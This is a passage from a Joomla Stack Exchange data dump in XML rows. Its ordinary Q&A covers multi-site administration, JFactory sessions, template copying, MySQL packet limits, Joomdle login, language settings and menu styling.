ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostTypeId="2" ParentId="2478" CreationDate="2014-07-03T02:38:11.857" Score="4" Body="&lt;p&gt;I just had this issue myself. The problem was that the client had internal links that were not relative and were linking to the proper page but with these weird URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the internal links on the page were resolved (relinked properly), the error that you've posted disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1601" LastActivityDate="2014-07-03T02:38:11.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2489" PostTypeId="1" AcceptedAnswerId="2490" CreationDate="2014-07-03T06:57:18.493" Score="9" ViewCount="6096" Body="&lt;p&gt;I'm planning on starting three different websites, under one web host. I know of a web host that supports this. The question I have is this: can I administer all three sites under one Joomla instance? If so, is there a best practices for doing this, administration wise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I just saw the Joomla Documentation on &lt;a href=&quot;http://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow&quot;&gt;Multiple Domains and Web Sites in a single Joomla! installation&lt;/a&gt;, that essentially explains how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I guess my question is, is it a good idea to do this, or would it ultimately create more trouble than it's worth?&lt;/p&gt;&#xA;" OwnerUserId="1600" LastEditorUserId="168" LastEditDate="2015-05-05T12:44:16.600" LastActivityDate="2017-07-26T23:16:15.273" Title="Multiple website managment with Joomla?" Tags="|administration|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2490" PostTypeId="2" ParentId="2489" CreationDate="2014-07-03T08:48:03.010" Score="5" Body="&lt;p&gt;Joomla multi-sites is a long-waited feature and a core capability to implement this is in my wish-list. So far there were a few really good 3rd party extensions that handled this feature, which allow great flexibility and many different configuration scenarios.&lt;/p&gt;&#xA;&lt;p&gt;This is the first time I hear about the core ability to create a multi-sites configuration with a single Joomla installation. I have not tried what is described in this documentation and I have no idea about its advantages or disadvantages, although I think that with this method there will be no easy way to distinguish the 2 websites in the backend, and have them work as 2 independent sites.&lt;/p&gt;&#xA;&lt;p&gt;This is not necessarily a bad thing, if you will be the only one who will update the websites.&#xA;I guess you will have to implement a logical content organization (categories, modules, menus) and familiarize yourself with the process of creating/editing the right content for each website.&lt;/p&gt;&#xA;&lt;p&gt;In general, a multi-sites scenario as described in that documentation can be ideal for 2 similar websites of 1 owner, since you will have to maintain only 1 installation, and it doesn't seem to hard to make it work.&lt;/p&gt;&#xA;&lt;p&gt;However, I can't visualize at this moment how far you will be able to go by implementing this approach and what possible disadvantages or restrictions you might come across.&lt;/p&gt;&#xA;&lt;p&gt;As said, Joomla multi-sites has been handled by 3rd party extensions since long time ago. You should define your actual requirements for your setup, then do a further research and have a look at the 3rd party extensions at &lt;a href=&quot;http://extensions.joomla.org/category/multiple-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;JED&lt;/a&gt;, in order to find out more about current possibilities of a Joomla multi-sites scenario.&lt;/p&gt;&#xA;&lt;p&gt;So far, I have worked with &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites/5550&quot; rel=&quot;nofollow noreferrer&quot;&gt;JMS Multi-Sites&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites/14863&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mighty-Sites&lt;/a&gt;, which are great and allow database tables sharing for many components across different domains.&lt;/p&gt;&#xA;&lt;p&gt;I am also curious to hear anyone else that have tried the core ability to setup multi-sites with Joomla though...!&lt;/p&gt;&#xA;&lt;h3&gt;Update May 2017&lt;/h3&gt;&#xA;&lt;p&gt;Adding here the links I posted on the other question that was marked as duplicate (&lt;a href=&quot;https://joomla.stackexchange.com/questions/20788/can-i-use-different-site-using-one-joomla-installation/20791#20791&quot;&gt;Can i use different site using one Joomla installation?&lt;/a&gt;), as I think it contains newer resources links and in more organized fashion.&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Docs&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multiple Domains and Web Sites in a single Joomla! Installation&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Multi-site_Design_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multi-site Desing Options&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Extensions&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Virtual Domains&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/profile/extension/core-enhancements/multiple-sites/multi-sites/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JMS Multi-Sites&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/mightysites/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;AlterBrains Mighty Sites&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.seblod.com/resources/manuals/advanced/setting-up-multi-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Seblod Multisites feature&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Update (older update):&lt;/h3&gt;&#xA;&lt;p&gt;Other relative Q/A in JSE:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10911/2-domains-2-templates-one-cms-with-same-content/16312#16312&quot;&gt;2 domains, 2 templates one cms with same content&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16547/how-to-update-an-online-website/16551#16551&quot;&gt;How to update an online website?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16264/mass-joomla-sites-updates-maintenance/16267#16267&quot;&gt;Mass Joomla sites Updates / Maintenance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4809/single-source-many-joomla-sites-on-a-server-how-could-it-be-possible/4837#4837&quot;&gt;Single source many Joomla sites on a server. How could it be possible?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/419/is-there-a-way-to-promote-articles-between-environments&quot;&gt;Is there a way to promote articles between environments?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/126/how-do-you-update-a-website-once-it-has-gone-live/135#135&quot;&gt;How do you update a website once it has gone live?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-18T20:50:11.923" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostTypeId="2" ParentId="2489" CreationDate="2014-07-03T14:04:14.210" Score="5" Body="&lt;p&gt;If it's only 3 sites, and the content and extensions are different, I wouldn't mess with multi-site stuff. Just set all 3 up separately, and then use a tool like watchful.li to monitor them and push updates to them from one dashboard. If you use Akeeba Pro you can even set up watchful to run backups for you (say, to an S3 account) and it will notify you if there are updates to your extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://watchful.li&quot; rel=&quot;nofollow noreferrer&quot;&gt;Watchful.li&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-03T14:04:14.210" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostTypeId="1" AcceptedAnswerId="3905" CreationDate="2014-07-04T09:58:47.450" Score="5" ViewCount="3734" Body="&lt;p&gt;How can I add the category image to the categories listed using the J3.3.1 core module &lt;strong&gt;mod_articles_categories&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have to create a module override in &lt;code&gt;template/my-template//html/mod_articles_categories/&lt;/code&gt; folder, but what are the code changes I have to make?&lt;/p&gt;&#xA;" OwnerUserId="1607" LastEditorUserId="168" LastEditDate="2014-07-31T08:00:44.640" LastActivityDate="2014-08-06T13:58:48.393" Title="How to add category image to module mod_article_categories" Tags="|module|template-override|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostTypeId="1" AcceptedAnswerId="2498" CreationDate="2014-07-04T11:19:07.270" Score="9" ViewCount="448" Body="&lt;p&gt;As the title states, I'm interested in knowing what differences there are (if any) between &lt;code&gt;JFactory::getSession() and $mainframe-&amp;gt;getSession()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question was inspired by &lt;a href=&quot;https://joomla.stackexchange.com/questions/998/retrieve-joomla-session-from-within-a-module&quot;&gt;Retrieve joomla session from within a module&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd also like suggestions on how I could find out this information for myself in the future (please don't say google!)&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-07-04T17:49:44.780" Title="What differences (if any) are there between JFactory::getSession() and $mainframe-&gt;getSession()?" Tags="|cms|session|jfactory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2498" PostTypeId="2" ParentId="2497" CreationDate="2014-07-04T11:24:59.197" Score="7" Body="&lt;p&gt;The global variable &lt;code&gt;$mainframe&lt;/code&gt; was remove in Joomla 1.6 and therefore will not work from that version onwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;global $mainframe&lt;/code&gt; should be replaced with &lt;code&gt;$mainframe = JFactory::getApplication();&lt;/code&gt; but most people tend to use &lt;code&gt;$app&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you code should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-04T11:24:59.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2499" PostTypeId="2" ParentId="2497" CreationDate="2014-07-04T17:49:44.780" Score="3" Body="&lt;p&gt;As for ressources about &lt;code&gt;$mainframe&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aWhat%27s_new_in_Joomla_2.5&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:What's_new_in_Joomla_2.5&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Adapting_a_Joomla_1.5_extension_to_Joomla_1.6#Global_Variables_.28.24option_and_.24mainframe.29_are_Gone&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Adapting_a_Joomla_1.5_extension_to_Joomla_1.6#Global_Variables_.28.24option_and_.24mainframe.29_are_Gone&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Found using Google)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-04T17:49:44.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2500" PostTypeId="2" ParentId="2496" CreationDate="2014-07-04T17:56:05.333" Score="0" Body="&lt;p&gt;You can get the stored image path  within your override using &lt;code&gt;$item-&amp;gt;getParams()-&amp;gt;get('image')&lt;/code&gt;&#xA;From there it should be easy to put that path into an &lt;code&gt;img&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-04T17:56:05.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2501" PostTypeId="1" AcceptedAnswerId="2503" CreationDate="2014-07-04T20:48:39.290" Score="1" ViewCount="225" Body="&lt;p&gt;I am in the backend of a Joomla 3.3.1 site and I can't see the &quot;Copy Template&quot; button. Is it removed from the latest Joomla or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updating the question...&lt;/strong&gt;&lt;br /&gt;&#xA;I can't see the &quot;Copy Template&quot; button in 2 websites recently updated from 3.3.0 / 3.2.x.&#xA;I can see the button in a website recently updated from 2.5.x though, and of course the &quot;Copy Template&quot; button should exist in the template manager and not had been removed.&lt;br /&gt; &#xA;So what it remains to be answered from my initial question is the &quot;or what?&quot; part...&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else faced the same, after updating from 3.x to latest 3.3.1?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-07-05T08:07:23.767" LastActivityDate="2014-07-05T13:54:24.293" Title="Where is the copy template button in Template manager in J3.3.1 after update?" Tags="|update|administration|template-manager|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2502" PostTypeId="2" ParentId="2501" CreationDate="2014-07-05T00:43:31.317" Score="2" Body="&lt;h3&gt;Updated&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;We haven't experienced this problem in Joomla 3.x after updates from previous versions (as shown in the update dev site below). However, in the past we have experienced situations where Joomla cache had to be deleted or the browsers cache had to be manually cleared after running the built-in Joomla Update mechanism, although we haven't experienced this recently.&#xA;&lt;hr&gt;&#xA;&lt;em&gt;Previous answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;Template Manager&lt;/code&gt; open the template you want to make a copy of and you will find in the top left a &lt;code&gt;Copy Template&lt;/code&gt; button as shown in the screenshot below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pWNvM.png&quot; alt=&quot;Joomla 3.3 Template Manager: Customise Template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the &lt;code&gt;Copy Template&lt;/code&gt; button and provide a name for the &quot;new&quot; template, you can use letters, numbers, dashes, and underscores (no spaces etc) for the name.&#xA;Somewhat oddly, if you want to delete a copy of a template (or any template for that matter) you must navigate to &lt;code&gt;Extension Manager: Manage&lt;/code&gt; set the &lt;code&gt;Type&lt;/code&gt; to &lt;code&gt;Template&lt;/code&gt; and then select your copy and then click &lt;code&gt;Uninstall&lt;/code&gt; as shown below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iTJM8.png&quot; alt=&quot;Joomla 3.3 Uninstall a template&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-07-05T09:12:39.273" LastActivityDate="2014-07-05T09:12:39.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2503" PostTypeId="2" ParentId="2501" CreationDate="2014-07-05T13:54:24.293" Score="2" Body="&lt;p&gt;It's a bug in Joomla.&#xA;Solution: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3858&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/3858&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please test :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-05T13:54:24.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2504" PostTypeId="2" ParentId="991" CreationDate="2014-07-05T19:07:45.283" Score="9" Body="&lt;p&gt;The feature which you require was introduced in Joomla 3.3.x. You now have the ability to use showon=&quot;show_label:1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can se the PR, which introduced the functionality here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3127&quot;&gt;https://github.com/joomla/joomla-cms/pull/3127&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1609" LastActivityDate="2014-07-05T19:07:45.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2505" PostTypeId="1" AcceptedAnswerId="2506" CreationDate="2014-07-05T19:53:13.617" Score="5" ViewCount="579" Body="&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=33711&amp;amp;start=50&quot; rel=&quot;nofollow&quot;&gt;Reported via Issue Tracker Item #33711&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to insert a BLOB &gt; 3MB in the database, the following error occurs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4252768 bytes) in ...\libraries\joomla\database\driver.php on line 1638&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;code&gt;JDatabaseDriver-&amp;gt;replacePrefix( )&lt;/code&gt; eating so much memory?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="115" LastEditDate="2014-07-07T06:29:43.307" LastActivityDate="2014-07-07T06:29:43.307" Title="JDatabaseDriver-&gt;replacePrefix( ) Allowed memory size of ... bytes exhausted" Tags="|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2506" PostTypeId="2" ParentId="2505" CreationDate="2014-07-05T19:53:13.617" Score="6" Body="&lt;p&gt;There is basically nothing wrong with &lt;code&gt;replacePrefix()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What actually happens is that you are sending to MySQL a string which is too large for a predefined setting (&lt;code&gt;max_allowed_packet&lt;/code&gt;) and is reporting the error &lt;code&gt;MySQL server has gone away&lt;/code&gt;, as explained in &lt;em&gt;&lt;a href=&quot;https://dba.stackexchange.com/questions/5292/mysql-server-has-gone-away-obstructing-import-of-large-dumps&quot;&gt;MySQL server has gone away obstructing import of large dumps.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Joomla thinks this is just a temporary error, and retries the query, re-running the &lt;code&gt;execute()&lt;/code&gt; method over and over again, till the memory runs out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to this issue is to increase the value of &lt;code&gt;max_allowed_packet&lt;/code&gt; under &lt;code&gt;[mysqld]&lt;/code&gt; in &lt;code&gt;my.ini&lt;/code&gt; to a larger value.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:43:05.717" LastActivityDate="2014-07-05T19:53:13.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2507" PostTypeId="1" AcceptedAnswerId="2509" CreationDate="2014-07-05T23:47:51.007" Score="1" ViewCount="599" Body="&lt;p&gt;I am working on a Joomla 2.5 application connected to Moodle system via Joomdle plugin. Logging into Joomla via Moodle works fine, but not into administration control panel (ACP). I just can't login into the administration panel because Moodle credentials do not fit to Joomla credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First possible solution it to make Joomla auto-login user in to backend (ACP) when hes logged in from Moodle (by Joomla). It's not very safe, I know, but it's my clients request and it's maybe the simplest solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second possible solution is to make Joomla ACP to accept user login using Moodle credentials. But I've no idea how to do that, because credentials stored in Joomla database are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is there any configuration or plugin that would solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="1612" LastActivityDate="2014-07-07T11:36:36.450" Title="Joomdle 2.5 backend login" Tags="|login|administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2508" PostTypeId="2" ParentId="2507" CreationDate="2014-07-06T02:58:20.330" Score="1" Body="&lt;p&gt;This is correct, Moodle connects with the FRONT end of joomla, NOT the back end. Even if your user is a super admin, you're being logged into the FRONT end not the back and. Since Joomla treats those logins differently, that's how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't try to &quot;fix&quot; this setup, you could make all kinds of issues pop up (and leave the site insecure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a setup using Joomdle and I just know that if I want to work on the BACK end of Joomla, I sign in there specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the front end, I sign into the front end of the Joomla site and then in there I put a menu link over to the moodle admin (it only shows up for Joomla admins) and I can bounce over there easily. So I log into the J front end and click the link and another tab opens with the moodle interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, if you're like me and you save your login in your browser, since it's all on the same domain, it auto fills anyway so it's 1 extra click.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-06T02:58:20.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2509" PostTypeId="2" ParentId="2507" CreationDate="2014-07-06T12:28:38.797" Score="1" Body="&lt;p&gt;As you are in control of both domains (cookies) and databases, you can create an ACP plugin in the same way than a Joomdle plugin works. In fact, ACP is not different than the frontend site. In brief they are just sites based on Joomla libraries loading different sets of plugins, modules, and template.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Registered&lt;/strong&gt; users never are not going to be able to access ACP. Your users have to be at least members of &lt;strong&gt;manager&lt;/strong&gt; group. Ok?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Authentication plugins are simple. E.g. Login-By-Email plugin is very common. You can check the same Moodle cookies, or access Moodle db to verify the password. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can review how Joomdle plugin works, and modify it to support ACP. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PD: I've implemented authentication between Joomla and Redmine, and it's possible to implement these bridges. In complex cases, you can implement a signature to redirect users between different domains, but this is not even required to solve it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-07-07T11:36:36.450" LastActivityDate="2014-07-07T11:36:36.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2510" PostTypeId="1" AcceptedAnswerId="2511" CreationDate="2014-07-07T02:05:34.460" Score="1" ViewCount="836" Body="&lt;p&gt;I've been reading up on how to access Joomla from external php scripts and I've noticed that there tends to be 2 flavours of code- external scripts that use &lt;code&gt;require('libraries/joomla/factory.php');&lt;/code&gt; and those that don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;factory.php doesn't seem to be necessary, so for what reason(s) would you include it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;Here is an example of code that uses factory.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;require_once ( JPATH_BASE .'/libraries/joomla/factory.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-07-07T05:39:15.280" LastActivityDate="2014-07-07T05:39:15.280" Title="When accessing Joomla from an external script when should you include ('libraries/joomla/factory.php');?" Tags="|cms|php|external-script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2511" PostTypeId="2" ParentId="2510" CreationDate="2014-07-07T05:14:05.510" Score="1" Body="&lt;p&gt;It will depend on whether you use any &lt;code&gt;JFactory::&lt;/code&gt; calls, given that it provides useful functions like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getApplication&#xA;getConfig&#xA;getSession&#xA;getLanguage&#xA;getDocument&#xA;getUser&#xA;getCache&#xA;getACL&#xA;getDbo&#xA;getMailer&#xA;getFeedParser&#xA;getXML&#xA;getEditor&#xA;getURI&#xA;getDate&#xA;createConfig&#xA;createSession&#xA;createDbo&#xA;createMailer&#xA;createLanguage&#xA;createDocument&#xA;getStream&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can imagine a lot of good reason to use it.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-07-07T05:14:05.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2512" PostTypeId="1" AcceptedAnswerId="2514" CreationDate="2014-07-07T05:38:10.817" Score="2" ViewCount="761" Body="&lt;p&gt;As the title says, how can I get the default language of my website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have Farsi &amp;amp; English language in my website, and Farsi is my default language (but maybe sometimes I want to change it to English).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out which one is the default one?&lt;/p&gt;&#xA;" OwnerUserId="474" LastEditorUserId="52" LastEditDate="2014-07-07T06:13:48.260" LastActivityDate="2023-07-10T10:51:50.443" Title="How to get the default frontend language" Tags="|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2513" PostTypeId="1" AcceptedAnswerId="2519" CreationDate="2014-07-07T06:11:34.857" Score="4" ViewCount="2456" Body="&lt;p&gt;I am trying to use a HTML tag in my menu item in order to get a menu like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent menu &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;My fist submenu&lt;/strong&gt; is in bold&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;My second submenu&lt;/em&gt; is emphasized&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I enter for instance the &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; tag in the menu title field, it gets stripped out when I save the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I enter &lt;code&gt;[b]My fist submenu[/b] is in bold&lt;/code&gt;, the &lt;code&gt;[b]&lt;/code&gt; tag isn't stripped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell Joomla to replace &lt;code&gt;[b]&lt;/code&gt; by a &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; tag?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="168" LastEditDate="2014-07-07T14:05:03.140" LastActivityDate="2018-12-20T12:52:42.710" Title="Use HTML tag to bold only some words of a menu item" Tags="|joomla-3.x|menu-item|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2514" PostTypeId="2" ParentId="2512" CreationDate="2014-07-07T06:36:24.940" Score="5" Body="&lt;p&gt;The default language is stored as a parameter in the language component. So you can use this to get the default language: &lt;code&gt;JComponentHelper::getParams('com_languages')-&amp;gt;get('site');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the backend language it would be &lt;code&gt;JComponentHelper::getParams('com_languages')-&amp;gt;get('administrator');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-07T06:36:24.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2515" PostTypeId="2" ParentId="2513" CreationDate="2014-07-07T06:44:42.453" Score="10" Body="&lt;p&gt;You could use ReReplacer from NoNumber (&lt;a href=&quot;http://www.nonumber.nl/extensions/rereplacer&quot;&gt;http://www.nonumber.nl/extensions/rereplacer&lt;/a&gt;) to replace such things on each pageload. However I would not recommend it in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May I suggest a different approach to solve this? In the menu item options, you can set a &quot;Link CSS Style&quot; in the &quot;Link Type&quot; tab. Add there a CSS class and apply the formatting to this class instead.&#xA;Like add the CSS class &lt;code&gt;bold&lt;/code&gt; there and define it in your template CSS file as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.bold {&#xA;    font-weight:bold;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the trick without needing HTML in your menu item.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-07T06:44:42.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
